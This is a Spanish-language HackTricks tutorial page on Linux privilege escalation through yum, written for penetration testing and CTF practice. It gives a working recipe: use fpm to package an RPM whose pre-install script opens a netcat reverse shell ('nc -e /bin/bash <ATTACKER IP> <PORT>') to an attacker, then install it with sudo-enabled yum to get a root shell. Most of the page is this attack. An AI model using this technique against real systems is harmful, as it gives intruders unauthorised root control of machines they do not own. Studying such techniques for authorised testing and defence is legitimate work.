hacktricks/linux-unix/privilege-escalation/exploiting-yum.md
2023-06-03 01:46:23 +00:00

3.2 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

También se pueden encontrar más ejemplos sobre yum en gtfobins.

Ejecución de comandos arbitrarios a través de paquetes RPM

Comprobando el entorno

Para aprovechar este vector, el usuario debe ser capaz de ejecutar comandos yum como un usuario con privilegios más altos, es decir, root.

Un ejemplo de trabajo de este vector

Se puede encontrar un ejemplo de trabajo de esta explotación en la sala daily bugle en tryhackme.

Empaquetando un RPM

En la siguiente sección, cubriré cómo empaquetar una shell inversa en un RPM usando fpm.

El siguiente ejemplo crea un paquete que incluye un disparador de antes de la instalación con un script arbitrario que puede ser definido por el atacante. Cuando se instala, este paquete ejecutará el comando arbitrario. He utilizado un ejemplo simple de shell inversa de netcat para la demostración, pero esto puede ser cambiado según sea necesario.

EXPLOITDIR=$(mktemp -d)
CMD='nc -e /bin/bash <ATTACKER IP> <PORT>'
RPMNAME="exploited"
echo $CMD > $EXPLOITDIR/beforeinstall.sh
fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR

Obteniendo una shell

Usando el ejemplo anterior y asumiendo que yum puede ser ejecutado como un usuario con mayores privilegios.

  1. Transfiere el rpm al host
  2. Inicia un listener en tu host local, como el ejemplo de listener netcat
  3. Instala el paquete vulnerable yum localinstall -y exploited-1.0-1.noarch.rpm